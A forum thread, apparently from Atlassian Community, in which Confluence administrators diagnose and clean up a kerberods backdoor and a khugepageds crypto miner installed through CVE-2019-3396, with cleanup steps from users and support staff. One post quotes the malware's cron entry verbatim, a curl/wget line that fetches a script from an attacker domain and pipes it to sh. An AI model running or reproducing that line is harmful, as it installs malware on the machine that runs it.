nav[aria-label="Primary Navigation"] { padding: 0; & ul { list-style: none; width: 100%; display: flex; flex-direction: row; justify-content: start; align-items: start; gap: 30px; padding: 0; & li { margin: 0; } & ul li { list-style: none; } } }

khugepageds eating all of the CPU

dovi5988

Hi,

We have confluence hosted on our own box for a few years now with no issues. We have confluence running under it's own user. Randomly yesterday the process khugepageds showed up using 600% of the CPU (the box has 8 CPU's in total, the rest are being used by Java). I stopped confluence and the process lives on. When I look at the processes I see:

501 9063 625 0.0 144936 13700 ? Ssl Apr10 9422:08 /tmp/khugepageds =/tmp/kerberods TERM=linux JRE_HOME=/opt/atlassian/confluence/jre/ NLSPATH=/usr/dt/lib/nls/msg/%L/%N.cat PATH=/sbin:/usr/sbin:/bin:/usr/bin:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin RUNLEVEL=3 runlevel=3 PWD=/opt/atlassian/confluence/bin LANGSH_SOURCED=1 LANG=en_US.UTF-8 PREVLEVEL=N previous=N XFILESEARCHPATH=/usr/dt/app-defaults/%L/Dt CATALINA_OPTS= -Xms1280m -Xmx1280m -XX:MaxPermSize=384m -XX:+UseG1GC -Djava.awt.headless=true -Xloggc:/opt/atlassian/confluence/logs/gc-2017-11-21_01-34-45.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=5 -XX:GCLogFileSize=2M -XX:-PrintGCDetails -XX:+PrintGCTimeStamps -XX:-PrintTenuringDistribution CONF_USER=confluence CONSOLETYPE=serial SHLVL=7 HOME= CATALINA_PID=/opt/atlassian/confluence/work/catalina.pid UPSTART_INSTANCE= UPSTART_EVENTS=runlevel UPSTART_JOB=rc _=/tmp/kerberods __DAEMON_FD_3=2f746d702f2e583131756e6978: __DAEMON_STAGE=

The log file was last written to on 2019-02-22. Since it stayed up once I stopped confluence is it safe to kill? I don't want to kill a process that can potentially break my confluence setup.

Accepted answers

All comments

unknown

Same thing here...we've been running Confluence without issue now for a few years, now this "khugepageds process is at near 100% utilization" issue is popping up as of yesterday.

I can kill the process, but it starts backup a few minutes later.

I rebooted the server yesterday and it started again a few hours later.

I temporarily froze the process with (of course the number is the pid):

sudo kill -STOP 12128

...but that doesn't seem like a good solution. EDIT: After 3 hours it apparently killed the stopped process and spawned a new one as I just had to do the same thing with a new PID.

Confluence bug?

Another EDIT: This article isn't directly about Confluence... it looks like THP can be disabled at boot (https://confluence.atlassian.com/bamkb/performance-issue-with-red-hat-enterprise-linux-rhel-781189906.html -> https://access.redhat.com/solutions/46111) but I cannot test this during business hours.

dovi5988

Can someone from Atlassian reach out to me directly on this?

eleven12

I am having the same problem on my Linux server running Ubuntu 16.04 LTS. When doing a "top" command, khugepageds is at 100% on each core. It and kerberods are both listed as having user "conflue+". I have added the line to the grub file to set transparent_hugepage=never to disable it at boot time, set "never" in the transparent_hugepages/enabled and defrag files to disabled it at run time, and run hugeadm to disable it. Nothing works. I can kill the process, but it will restart after a while. Checking the /sys/kernel/mm/transparent_hugepages/enabled files shows "always madvise [never]", and checking the number of huge_pages being managed is at 0. I have stopped Confluence. But nothing can stop khugepageds!

I am suspicious that it is at least Confluence (or Java) related due to the user being Confluence. I thought

unknown

Yeah, there was a malicious looking cronjob. How did that happen? Has this happened to you before?

dovi5988

I assume it's this: https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html

unknown

I don't think Atlassian watches these forums...thank you for your sharing the link.

eleven12

Thank you Nick Smith! I noticed that the khugepageds was starting every 10 minutes and your note reminded me to check the user confluence's crontab entries. Sure enough, there was a suspicious entry that started every 10 minutes. I deleted it and the problem appears to have disappeared. I also upgraded to the latest version of Confluence.

unknown

David gave me the original idea.

I can't take this system out of production atm for the updates, so I followed the mitigation steps for now (disable Widget and WebDAV plug-ins), but it's been 30 min since I did that and no more suspicious looking activity

Johannes Schurer

Its a virus. khugepageds is an obfuscated crypto miner and there is a second process kerberods that is a backdoor and using SSH to open reverse tunnels.

It's triggered by the user's crontab Confluence is running under.

Stop and disable cron. Kill both processes. Update.

dovi5988

https://community.atlassian.com/t5/Confluence-questions/How-come-my-confluence-installation-was-hacked-by-Kerberods/qaq-p/1054605

Daniel Eads

What you've described is an active exploit that attacks the CVE-2019-3396 Widget Connector vulnerability from March 20th (see Confluence Security Advisory - 2019-03-20).

The first step in fixing this is upgrading to a Confluence version that is not affected by the vulnerability. The latest releases are:

6.6.13 (6.6 is an Enterprise release)
6.12.4
6.13.4 (6.13 is an Enterprise release)
6.14.3
6.15.2

Secondly, the LSD malware cleanup tool will be useful for removing the Kerberods malware. I would recommend executing cleanup after upgrading Confluence to a patched version so there's no possibility of re-infection while you work on the upgrade.

Please let me know if you have more questions!
Daniel | Atlassian Support

Robert Musto

Our confluence will not load right since we have been infected, followed the guide and trying to get atlassian support is like pulling teeth, actually I would rather have my teeth pulled then trying to get valid support from this team.

unknown

Hi Robert,

I can't speak for your installation, but I can tell you what I did to mitigate on our system (in lieu of Atlassian's disappointing technical support...if I knew about the support bait and switch that would happen I would have heavily lobbied to not go this direction a few years ago).

Anyway—Log into console, Kill the kerberods and khugepageds processes by ascertaining the process id and killing them with sudo (hopefully you are not running Confluence as the root user)

pidof khugepageds
12345  <-- for example
sudo kill 12345

pidof kerberods
67890 <-- for example
sudo kill 12345

Open the Confluence user account's cron file in a text editor

sudo vim /var/spool/cron/confluence

Clear out any malicious entries (probably all of them unless you have added special entries).

I then followed Atlassian's guide to mitigate by manually disabling the WebDAV and Widget Connector plugins.

There has been no further evidence of malicious activity.

We were fortunate that we run this on an Amazon M4 and not on a T instance as this would have eaten up the CPU credits pretty quickly and removed our ability to even log into the console (or ran up a bill in unlimited mode which really could have sucked).

As soon as I can find an opportunity I am going to upgrade (can I just say major version upgrades are a pain).

Becky Kirk

My environment experienced the same issue. We followed the Atlassian provided troubleshooting steps to a T. Is anyone else continuing to experience fall out AFTER upgrading confluence? It seems the upgrade wasn't enough and we are continuing to experience malware issues in our self hosted environment.

Please let me know.

Daniel Eads

Hey @Robert Musto , I'm really sorry to hear that you had a bad experience getting support. I took a look at the tickets you had opened and while there were a few duplicates created, it seems like our support engineers were able to assist you over the phone today. If there were some things you felt needed improvement, we'd like to hear about that - you can reach out to me directly at deads at atlassian.com or reply on the ticket our team helped you with today.

@[deleted]please reach out to me via email as well (deads at atlassian.com) if you need help contacting support directly. I'm not sure what you mean by bait and switch - the only Confluence license I see on your account expired several years ago, so please reach out to me with concerns! We are active on Community but due to the sheer volume it's not guaranteed that we can respond to all threads directly. Part of what makes Community work is that everyone is able to contribute answers for the benefit of everyone. You've added some valuable info to this conversation, and that will definitely help people coming in to the thread looking for a solution!

Overall I will say that Dovid's original issue was an infection from the kerberods malware. Other attacks against the same vulnerability may be trying to insert different payloads, so it's possible that more recent infections might be from different malware. The steps noted by @[deleted]are a great starting point to doing a general malware cleanup while utilizing tools tailored to the specific malware infection.

Daniel | Atlassian Support

Daniel Eads

Hey @Becky Kirk ,

While the first attack seemed to focus on injecting the kerberods malware, we are seeing reports of other attacks trying to deliver payloads of different malware. I can see that you've been working with our senior Support Engineers via ticket on support.atlassian.com. It's not clear from the ticket that Confluence was upgraded, so if possible I suggest adding that information (or the support zips / info requested by the support team) to the ticket.

After adding that info to the ticket, for next-steps you can take a look at the output from top if you are on Linux to find any processes consuming large amounts of CPU. If Confluence is not running, you should be able to kill any processes running under the confluence user account. Use the kill -9 command followed by the process id (pid) to kill the processes consuming high CPU running under the Confluence account.

Nick's advice to check the crontab for malicious entries is also very good:

Open the Confluence user account's cron file in a text editor
sudo vim /var/spool/cron/confluence
Clear out any malicious entries (probably all of them unless you have added special entries).

It's difficult for the support team to help in your specific case without the requested info though, so please add that to the ticket.

Daniel | Atlassian Support

unknown

Is there anything else to worry about execpt for the malicious infection by kerberods malware? Could the attacker have been able to dump database or get the private Key from Keystore? Is it usefull to run the system "normally" again after upgrading or is it better to setup a new confluence?

Andrea C

I'm having the exact same problem, I have an entry in the cron file but it regenerates even if I delete it.

My problem is that the process kerberods appears only for just a few seconds after the confluence process goes down.

Please help as my production environment is currently down. I already upgraded to the latest version but that didn't fix it. Screen Shot 2019-04-16 at 11.20.18 AM.png

Andrea C

Did someone use the lsd malware cleanup tool? I copy busybox but then when I run the script, it gives a permission denied error and I'm logged in as root. Clearly I need to change some permissions in order to make it run properly.

Dovid Bender

That really depends in how you were running confluence. If you were running it as root they could have gotten access to anything. What user was confluence running as? That being said we tested the malware over and over in a sandbox environment and the only thing we saw that it was interested in, was harnessing CPU cycles. The moment we killed all processes and cleaned out the cron jobs all network traffic (other then the ssh session to the sandbox) ceased to exist. If you were running in root to be safe I would suggest to set up a new system and migrate over all of your data (to be safe).

Dovid Bender

@Andrea C It seems as if it's still running somewhere and you aren't fully cleanning it out. Based on the output of top above it seems you are running it as user confluence which is a good thing. Here is what I would do:

1) cat /var/spool/cron/confluence # Verify that there are no other cronjobs there for user confluence. If there are back them up.

2) ps auxef | grep 'khugepageds\|kerberods'

Get the pids of the above processes. You need to run below in this order:

> cat /var/spool/cron/confluence ; kill -9 PID_OF_kerberods ; kill -9 khugepageds

3) cat /var/spool/cron/confluence # verify that it's empty

4) ps auxef | grep 'khugepageds\|kerberods' # verify they are not running.

5) rm -rf /tmp/khugepageds ; rm -rf /tmp/kerberods

Dovid Bender

@Andrea C I am not sure if there is an option here but if you can private message me and I can take a look with you together at it.

Dovid Bender

I would add that you need to clean out the cron fairly fast. So long as either kerberods is running or the cron job is there it's going to be an endless game of whack a mole. Please see my note below to @Andrea C . You need do it almost all at once. e.g.

> /var/spool/cron/confluence ; kill -9 PID_OF_kerberods ; kill -9 PID_OF_khugepageds

I say to use > and not to edit with vim as the time it takes to launch the editor the cron could have restarted.

Make sure you aren't clearing out any crons that you do want for user confluence!. Using > will clean out the file.

Andrea C

@dovi5988 thanks a lot for your help Dovid!

Now Confluence is online for two hours and a half and the only thing that I did is trying to run that malware cleanup tool which I managed to run it but I don't think it executed all the lines of the script.

Here is what was happening when confluence was going down:

confluence is running as the user confluence (not root), two processes since I have concurrent editing on.
the cpu was spiking up to more than 100%
Both confluence process were going down
Only the kerberods process was running for just a few seconds and then it was disappearing, as you saw from the screenshot.

Now, even though Confluence is currently up, I want to make sure that everything is fine as I don't want any more surprises.

This is the output after running the first command you suggested:

*/10 * * * * (curl -fsSL https://dd.heheda.tk/i.jpg||wget -q -O- https://dd.heheda.tk/i.jpg)|sh

This is definitely something not legit right?

Also, how can I get the pid of kerberods since it's not running?

warthog

We got hit with this as well, trying to clean it up, but keep on getting kicked out when i try to sudo as confluence user to kill cron.

Does anyone know what data this was mining for? Is just upgrading safe or will they still have access to data.

Andrea C

I deleted the cron entry and it didn't reappear again.

warthog

Dont mean to hijack but im having issue with busybox as well

./clear_kerberods.sh: line 1: syntax error near unexpected token `newline'
./clear_kerberods.sh: line 1: `<!DOCTYPE html>'

Dovid Bender

@Andrea C

1) make sure the cron is empty.

2) ps auxef | grep 'khugepageds\|kerberods' # verify they are not running.

If they all come up clean you should be good. Before when you were killing it, the cron was starting it up again.

Dovid Bender

@warthog Were you running confluence as root or another user? If the latter please see what I wrote to @Andrea C . You need to clear out the cronjob and then kill the processes.

Dovid Bender

No need to sudo. You can clean it from root:

1) su root -

2) > /var/spool/cron/confluence

No one knows for sure what it did but from all the research I did it seemed it was limited to getting CPU cycles. Based on sniffing the traffic it seemed to be the same.

Welcome!

It looks like you're new here. Sign in or register to get started.

Quick Links

Find more posts tagged with

confluence

security

atl-confsec